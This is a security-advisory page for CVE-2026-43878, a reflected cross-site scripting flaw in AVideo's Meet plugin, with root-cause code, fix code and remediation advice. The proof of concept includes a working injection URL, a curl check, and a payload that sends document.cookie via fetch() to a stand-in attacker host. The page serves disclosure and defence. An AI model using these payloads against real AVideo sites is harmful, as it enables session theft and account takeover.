Skip to main content

AVideo CVE-2026-43878

MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-05-05 https://github.com/WWBN/AVideo GHSA-mm5f-8q57-4fc4
6.1
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

2
Source Code Evidence Fetched
May 05, 2026 - 20:01 vuln.today
Analysis Generated
May 05, 2026 - 20:01 vuln.today

DescriptionGitHub Advisory

Summary

plugin/Meet/iframe.php echoes the attacker-controlled user and pass query parameters unescaped into a JavaScript double-quoted string literal inside a <script> block. An attacker who sends a victim to a crafted URL can break out of the string and execute arbitrary JavaScript in the victim's browser in the context of the AVideo origin. No authentication is required if a public Meet schedule exists on the target.

Details

Root cause is a two-step reflection with no escaping applied at the HTML/JS sink.

Step 1 - User::loginFromRequestToGet() at objects/user.php:3363-3373 returns the raw concatenation of $_REQUEST['user'] and $_REQUEST['pass'] with no URL-encoding, HTML-escaping, or other sanitization:

php
public static function loginFromRequestToGet()
{
    if (!empty($_REQUEST['user']) && !empty($_REQUEST['pass'])) {
        $return = "user={$_REQUEST['user']}&pass={$_REQUEST['pass']}";
        if (!empty($_REQUEST['encodedPass'])) {
            $return .= "&encodedPass=" . intval($_REQUEST['encodedPass']);
        }
        return $return;
    }
    return "";
}

Step 2 - plugin/Meet/iframe.php builds $readyToClose from that string and emits it into a JS string literal without escaping:

php
// plugin/Meet/iframe.php:19-22
$userCredentials = User::loginFromRequestToGet();  // set in validateMeet.php:19
$readyToClose = User::getChannelLink($meet->getUsers_id()) . "?{$userCredentials}";
if (Meet::isModerator($meet_schedule_id)) {
    $readyToClose = "{$global['webSiteRootURL']}plugin/Meet/?{$userCredentials}";
    ...
}
php
// plugin/Meet/iframe.php:115-117
function _readyToClose() {
    document.location = "<?php echo $readyToClose; ?>";
}

Note that xss_esc() IS applied a few lines earlier to the adjacent nameIdentification parameter (line 45) - the developer knew about XSS here but missed $userCredentials. No call to json_encode, htmlspecialchars, xss_esc, or rawurlencode is applied to $readyToClose.

Reachability to unauthenticated users. plugin/Meet/validateMeet.php gates on Meet::canJoinMeetWithReason() and Meet::validatePassword():

  • Meet::canJoinMeetWithReason() (plugin/Meet/Meet.php:399-402) returns canJoin=true for any visitor when the meet is public (getPublic() == "2"):
php
  if ($meet->getPublic() == "2") {
      $obj->canJoin = true;
      $obj->reason = "Is public";
      return $obj;
  }
  • Meet::validatePassword() (plugin/Meet/Meet.php:595-618) returns true when the meet has no password set.
  • validateMeet.php:27 only blocks unauthenticated users when getPublic() is empty.

So an unauthenticated attacker can reach the sink against any public, no-password Meet schedule (the most common configuration). With a known password or moderator/admin role, all Meets are reachable.

Payload construction. With user=";}alert(1);function a(){" and pass=x, the rendered script becomes:

javascript
function _readyToClose() {
    document.location = "CHANNEL_URL?user=";}alert(1);function a(){"&pass=x";
}

Parse flow:

  1. document.location = "CHANNEL_URL?user="; - assignment completes.
  2. } - closes _readyToClose.
  3. alert(1); - executes immediately at script parse/run time (does NOT require _readyToClose to be called).
  4. function a(){"&pass=x";} - declares a harmless function that absorbs the trailing garbage.

PoC

Precondition: one public Meet schedule with no password (or the attacker supplies &meet_password=<known> / is moderator/admin).

  1. Attacker sends victim the following URL:
   https://TARGET/plugin/Meet/iframe.php?meet_schedule_id=1&user=%22%3B%7Dalert(1)%3Bfunction%20a()%7B%22&pass=x

URL-decoded user payload: ";}alert(1);function a(){"

  1. Server reflects the parameters unescaped into the script block on line 116.
  2. Victim's browser parses the script; alert(1) fires immediately on page load.
  3. Verification:
   $ curl -s 'https://TARGET/plugin/Meet/iframe.php?meet_schedule_id=1&user=%22%3B%7Dalert(1)%3Bfunction%20a()%7B%22&pass=x' \
       | grep -A1 _readyToClose
   function _readyToClose() {
       document.location = "https://TARGET/channel/...?user=";}alert(1);function a(){"&pass=x";

The injected ";}alert(1);function a(){" sequence appears verbatim in the response, closing the JS string and function and executing alert(1) at parse time.

  1. Realistic exploitation replaces alert(1) with a cookie-exfiltration payload:
   user=%22%3B%7Dfetch('https%3A%2F%2Fattacker%2Fc%3D'%2Bdocument.cookie)%3Bfunction%20a()%7B%22&pass=x

Impact

Reflected XSS in the AVideo origin. An attacker who tricks a logged-in AVideo user into clicking a crafted link can:

  • Steal the victim's session cookies / CSRF tokens (cookies are scoped to the AVideo root, not just /plugin/Meet/).
  • Perform arbitrary authenticated actions as the victim (upload/delete videos, change profile, post comments, change email/password → account takeover).
  • Pivot to admin takeover if the victim is an admin (admin endpoints are same-origin).
  • Deliver phishing content under the trusted AVideo domain.

The attack is unauthenticated on any install that has at least one public, no-password Meet schedule - which is the default configuration when a moderator creates an open meeting. Scope is Changed because XSS in a plugin subpath can exfiltrate session cookies of the broader AVideo application.

Recommended Fix

Apply JSON encoding at the sink in plugin/Meet/iframe.php:116 so the string is always a valid JS literal regardless of its contents:

php
function _readyToClose() {
    document.location = <?php echo json_encode($readyToClose, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT); ?>;
}

Additionally, harden User::loginFromRequestToGet() (objects/user.php:3363-3373) to URL-encode the components so downstream sinks cannot be broken out of with ", <, or other control characters:

php
public static function loginFromRequestToGet()
{
    if (!empty($_REQUEST['user']) && !empty($_REQUEST['pass'])) {
        $return = "user=" . rawurlencode($_REQUEST['user'])
                . "&pass=" . rawurlencode($_REQUEST['pass']);
        if (!empty($_REQUEST['encodedPass'])) {
            $return .= "&encodedPass=" . intval($_REQUEST['encodedPass']);
        }
        return $return;
    }
    return "";
}

Audit every other caller of loginFromRequestToGet() (and any other function that returns raw $_REQUEST['user'] / $_REQUEST['pass']) for similar sinks.

AnalysisAI

Reflected XSS in AVideo's Meet plugin allows unauthenticated attackers to execute arbitrary JavaScript in a victim's browser by injecting unescaped user and pass query parameters into a JavaScript string literal. The vulnerability is reachable without authentication on any public Meet schedule with no password (the default configuration), enabling session cookie theft and account takeover of authenticated users. CVSS 6.1 (AV:N/AC:L/PR:N/UI:R/S:C) reflects network delivery requiring user interaction but changed scope due to cookie exfiltration across the AVideo application origin.

Technical ContextAI

AVideo is a PHP-based video platform built with Composer. The vulnerability stems from a two-step unescaped reflection: User::loginFromRequestToGet() in objects/user.php concatenates raw $_REQUEST['user'] and $_REQUEST['pass'] parameters without URL-encoding or HTML-escaping, returning a query string like 'user=X&pass=Y'. This output is then embedded directly into a JavaScript string literal via echo in plugin/Meet/iframe.php line 116 within a <script> block: document.location = "<?php echo $readyToClose; ?>"; An attacker breaks out of the double-quoted string using a quote character, closes the function and statement with }, injects arbitrary JavaScript, and uses a dummy function to absorb trailing garbage. The root cause is CWE-79 (Cross-site Scripting), specifically improper neutralization of input during web page generation. The code path shows the developer knew about XSS risk (xss_esc() is applied nearby to nameIdentification) but failed to apply any escaping (json_encode, htmlspecialchars, xss_esc, or rawurlencode) to $userCredentials.

RemediationAI

Apply the vendor-released patch immediately by updating to the fixed commit 3298ced2bcf92e4f3acff6ce9bde14edf42ecb5b or later (reference: https://github.com/WWBN/AVideo/commit/3298ced2bcf92e4f3acff6ce9bde14edf42ecb5b). The fix involves two changes: (1) in objects/user.php line 3365-3366, replace raw $_REQUEST concatenation with rawurlencode() calls to URL-encode user and pass parameters, preventing quote/bracket breakout; (2) in plugin/Meet/iframe.php line 116, replace the unescaped echo with json_encode($readyToClose, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT) to ensure the string is always a valid JavaScript literal regardless of contents. If immediate patching is not possible, implement temporary mitigations: disable public Meet schedules (set getPublic() to 0 or 1 instead of 2), require passwords on all Meet schedules, or restrict access to plugin/Meet/ endpoints via reverse proxy authentication. These workarounds reduce attack surface but do not fix the underlying injection. Audit all other callers of loginFromRequestToGet() and any functions returning raw $_REQUEST['user']/$_REQUEST['pass'] for similar sinks, as the vulnerability is systemic to improper handling of these parameters.

More in PHP

View all
CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

CVE-2024-46506 CRITICAL POC
10.0 May 13

NetAlertX (formerly PiAlert) versions 23.01.14 through 24.x before 24.10.12 allow unauthenticated command injection thro

CVE-2024-8353 CRITICAL POC
9.8 Sep 28

The GiveWP - Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all

Share

CVE-2026-43878 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy